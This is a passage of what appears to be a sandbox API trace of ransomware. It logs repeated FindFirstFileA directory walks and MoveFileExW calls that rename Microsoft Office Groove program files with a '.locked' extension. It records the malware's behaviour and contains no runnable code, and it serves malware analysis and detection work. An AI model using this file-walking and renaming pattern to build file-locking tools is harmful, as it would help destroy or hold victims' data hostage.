"c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms\\menu_arrow.gif.locked"), dwFlags=0x2) returned 1 [0038.831] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms\\utilityfunctions.js" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms\\utilityfunctions.js"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms\\utilityfunctions.js.locked" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms\\utilityfunctions.js.locked"), dwFlags=0x2) returned 1 [0038.847] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms\\validation.js" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms\\validation.js"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms\\validation.js.locked" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms\\validation.js.locked"), dwFlags=0x2) returned 1 [0038.852] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms\\viewDblClick.js" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms\\viewdblclick.js"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms\\viewDblClick.js.locked" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms\\viewdblclick.js.locked"), dwFlags=0x2) returned 1 [0038.861] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms\\ViewHeaderPreview.jpg" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms\\viewheaderpreview.jpg"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms\\ViewHeaderPreview.jpg.locked" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms\\viewheaderpreview.jpg.locked"), dwFlags=0x2) returned 1 [0038.863] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms\\viewSelectionChanged.js" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms\\viewselectionchanged.js"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms\\viewSelectionChanged.js.locked" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms\\viewselectionchanged.js.locked"), dwFlags=0x2) returned 1 [0038.867] FindFirstFileA (in: lpFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\*", lpFindFileData=0x42a9b8 | out: lpFindFileData=0x42a9b8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5127f1f0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xba268360, ftLastAccessTime.dwHighDateTime=0x1d55451, ftLastWriteTime.dwLowDateTime=0xba268360, ftLastWriteTime.dwHighDateTime=0x1d55451, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xd, dwReserved1=0x42a7a0, cFileName=".", cAlternateFileName="")) returned 0x825990 [0038.873] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\AddToViewArrow.jpg" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms3\\addtoviewarrow.jpg"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\AddToViewArrow.jpg.locked" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms3\\addtoviewarrow.jpg.locked"), dwFlags=0x2) returned 1 [0038.877] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\AddToViewArrowMask.bmp" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms3\\addtoviewarrowmask.bmp"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\AddToViewArrowMask.bmp.locked" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms3\\addtoviewarrowmask.bmp.locked"), dwFlags=0x2) returned 1 [0038.882] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\attention.gif" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms3\\attention.gif"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\attention.gif.locked" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms3\\attention.gif.locked"), dwFlags=0x2) returned 1 [0038.890] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\bg_Casual.gif" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms3\\bg_casual.gif"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\bg_Casual.gif.locked" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms3\\bg_casual.gif.locked"), dwFlags=0x2) returned 1 [0038.922] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\bg_Country.gif" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms3\\bg_country.gif"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\bg_Country.gif.locked" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms3\\bg_country.gif.locked"), dwFlags=0x2) returned 1 [0038.929] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\bg_Earthy.gif" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms3\\bg_earthy.gif"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\bg_Earthy.gif.locked" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms3\\bg_earthy.gif.locked"), dwFlags=0x2) returned 1 [0039.017] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\bg_FormsHomePage.gif" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms3\\bg_formshomepage.gif"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\bg_FormsHomePage.gif.locked" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms3\\bg_formshomepage.gif.locked"), dwFlags=0x2) returned 1 [0039.039] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\bg_FormsHomePageBlank.gif" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms3\\bg_formshomepageblank.gif"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\bg_FormsHomePageBlank.gif.locked" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms3\\bg_formshomepageblank.gif.locked"), dwFlags=0x2) returned 1 [0039.043] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\bg_FormsHomePageSlice.gif" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms3\\bg_formshomepageslice.gif"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\bg_FormsHomePageSlice.gif.locked" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms3\\bg_formshomepageslice.gif.locked"), dwFlags=0x2) returned 1 [0039.066] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\bg_GreenTea.gif" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms3\\bg_greentea.gif"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\bg_GreenTea.gif.locked" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms3\\bg_greentea.gif.locked"), dwFlags=0x2) returned 1 [0039.068] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\bg_Groove.gif" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms3\\bg_groove.gif"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\bg_Groove.gif.locked" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms3\\bg_groove.gif.locked"), dwFlags=0x2) returned 1 [0039.079] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\bg_LightSpirit.gif" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms3\\bg_lightspirit.gif"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\bg_LightSpirit.gif.locked" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms3\\bg_lightspirit.gif.locked"), dwFlags=0x2) returned 1 [0039.096] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\bg_OliveGreen.gif" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms3\\bg_olivegreen.gif"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\bg_OliveGreen.gif.locked" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms3\\bg_olivegreen.gif.locked"), dwFlags=0x2) returned 1 [0039.105] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\bg_Premium.gif" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms3\\bg_premium.gif"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\bg_Premium.gif.locked" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms3\\bg_premium.gif.locked"), dwFlags=0x2) returned 1 [0039.129] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\bg_SlateBlue.gif" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms3\\bg_slateblue.gif"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\bg_SlateBlue.gif.locked" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms3\\bg_slateblue.gif.locked"), dwFlags=0x2) returned 1 [0039.138] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\bg_TexturedBlue.gif" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms3\\bg_texturedblue.gif"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\bg_TexturedBlue.gif.locked" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms3\\bg_texturedblue.gif.locked"), dwFlags=0x2) returned 1 [0039.156] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\bg_VelvetRose.gif" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms3\\bg_velvetrose.gif"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\bg_VelvetRose.gif.locked" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms3\\bg_velvetrose.gif.locked"), dwFlags=0x2) returned 1 [0039.158] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\button_left.gif" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms3\\button_left.gif"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\button_left.gif.locked" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms3\\button_left.gif.locked"), dwFlags=0x2) returned 1 [0039.162] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\button_left_over.gif" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms3\\button_left_over.gif"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\button_left_over.gif.locked" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms3\\button_left_over.gif.locked"), dwFlags=0x2) returned 1 [0039.164] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\button_mid.gif" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms3\\button_mid.gif"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\button_mid.gif.locked" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms3\\button_mid.gif.locked"), dwFlags=0x2) returned 1 [0039.167] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\button_mid_over.gif" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms3\\button_mid_over.gif"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\button_mid_over.gif.locked" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms3\\button_mid_over.gif.locked"), dwFlags=0x2) returned 1 [0039.169] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\button_right.gif" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms3\\button_right.gif"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\button_right.gif.locked" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms3\\button_right.gif.locked"), dwFlags=0x2) returned 1 [0039.171] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\button_right_over.gif" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms3\\button_right_over.gif"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\button_right_over.gif.locked" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms3\\button_right_over.gif.locked"), dwFlags=0x2) returned 1 [0039.179] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FormsBlankPage.html" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms3\\formsblankpage.html"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FormsBlankPage.html.locked" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms3\\formsblankpage.html.locked"), dwFlags=0x2) returned 1 [0039.183] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FormsBrowserUpgrade.html" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms3\\formsbrowserupgrade.html"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FormsBrowserUpgrade.html.locked" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms3\\formsbrowserupgrade.html.locked"), dwFlags=0x2) returned 1 [0039.186] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FormsColorChart.html" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms3\\formscolorchart.html"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FormsColorChart.html.locked" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms3\\formscolorchart.html.locked"), dwFlags=0x2) returned 1 [0039.191] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FormsFormTemplate.html" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms3\\formsformtemplate.html"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FormsFormTemplate.html.locked" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms3\\formsformtemplate.html.locked"), dwFlags=0x2) returned 1 [0039.196] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FormsHomePage.html" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms3\\formshomepage.html"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FormsHomePage.html.locked" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms3\\formshomepage.html.locked"), dwFlags=0x2) returned 1 [0039.205] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FormsHomePageScript.js" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms3\\formshomepagescript.js"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FormsHomePageScript.js.locked" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms3\\formshomepagescript.js.locked"), dwFlags=0x2) returned 1 [0039.209] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FormsHomePageStyle.css" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms3\\formshomepagestyle.css"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FormsHomePageStyle.css.locked" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms3\\formshomepagestyle.css.locked"), dwFlags=0x2) returned 1 [0039.213] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FormsImageTemplate.html" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms3\\formsimagetemplate.html"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FormsImageTemplate.html.locked" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms3\\formsimagetemplate.html.locked"), dwFlags=0x2) returned 1 [0039.218] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FormsMacroTemplate.html" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms3\\formsmacrotemplate.html"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FormsMacroTemplate.html.locked" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms3\\formsmacrotemplate.html.locked"), dwFlags=0x2) returned 1 [0039.237] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FormsPreviewTemplate.html" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms3\\formspreviewtemplate.html"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FormsPreviewTemplate.html.locked" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms3\\formspreviewtemplate.html.locked"), dwFlags=0x2) returned 1 [0039.242] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FormsPrintTemplate.html" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms3\\formsprinttemplate.html"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FormsPrintTemplate.html.locked" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms3\\formsprinttemplate.html.locked"), dwFlags=0x2) returned 1 [0039.245] FindFirstFileA (in: lpFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FormsStyles\\*", lpFindFileData=0x42a050 | out: lpFindFileData=0x42a050*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5127f1f0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xba5fa460, ftLastAccessTime.dwHighDateTime=0x1d55451, ftLastWriteTime.dwLowDateTime=0xba5fa460, ftLastWriteTime.dwHighDateTime=0x1d55451, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xd, dwReserved1=0x429e38, cFileName=".", cAlternateFileName="")) returned 0x8259d0 [0039.248] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FormsStyles\\Adobe.css" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms3\\formsstyles\\adobe.css"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FormsStyles\\Adobe.css.locked" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms3\\formsstyles\\adobe.css.locked"), dwFlags=0x2) returned 1 [0039.250] FindFirstFileA (in: lpFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FormsStyles\\Americana\\*", lpFindFileData=0x4296e8 | out: lpFindFileData=0x4296e8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x528d0030, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xba6205c0, ftLastAccessTime.dwHighDateTime=0x1d55451, ftLastWriteTime.dwLowDateTime=0xba6205c0, ftLastWriteTime.dwHighDateTime=0x1d55451, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x14, dwReserved1=0x4294d0, cFileName=".", cAlternateFileName="")) returned 0x825a10 [0039.254] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FormsStyles\\Americana.css" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms3\\formsstyles\\americana.css"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FormsStyles\\Americana.css.locked" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms3\\formsstyles\\americana.css.locked"), dwFlags=0x2) returned 1 [0039.256] FindFirstFileA (in: lpFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FormsStyles\\BabyBlue\\*", lpFindFileData=0x4296e8 | out: lpFindFileData=0x4296e8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x528d0030, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xba6205c0, ftLastAccessTime.dwHighDateTime=0x1d55451, ftLastWriteTime.dwLowDateTime=0xba6205c0, ftLastWriteTime.dwHighDateTime=0x1d55451, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x14, dwReserved1=0x4294d0, cFileName=".", cAlternateFileName="")) returned 0x825a10 [0039.261] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FormsStyles\\BabyBlue.css" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms3\\formsstyles\\babyblue.css"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FormsStyles\\BabyBlue.css.locked" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms3\\formsstyles\\babyblue.css.locked"), dwFlags=0x2) returned 1 [0039.263] FindFirstFileA (in: lpFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FormsStyles\\Biscay\\*", lpFindFileData=0x4296e8 | out: lpFindFileData=0x4296e8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x528f6190, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xba6205c0, ftLastAccessTime.dwHighDateTime=0x1d55451, ftLastWriteTime.dwLowDateTime=0xba6205c0, ftLastWriteTime.dwHighDateTime=0x1d55451, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x14, dwReserved1=0x4294d0, cFileName=".", cAlternateFileName="")) returned 0x825a10 [0039.268] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FormsStyles\\Biscay.css" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms3\\formsstyles\\biscay.css"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FormsStyles\\Biscay.css.locked" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms3\\formsstyles\\biscay.css.locked"), dwFlags=0x2) returned 1 [0039.271] FindFirstFileA (in: lpFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FormsStyles\\BrightOrange\\*", lpFindFileData=0x4296e8 | out: lpFindFileData=0x4296e8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x528f6190, 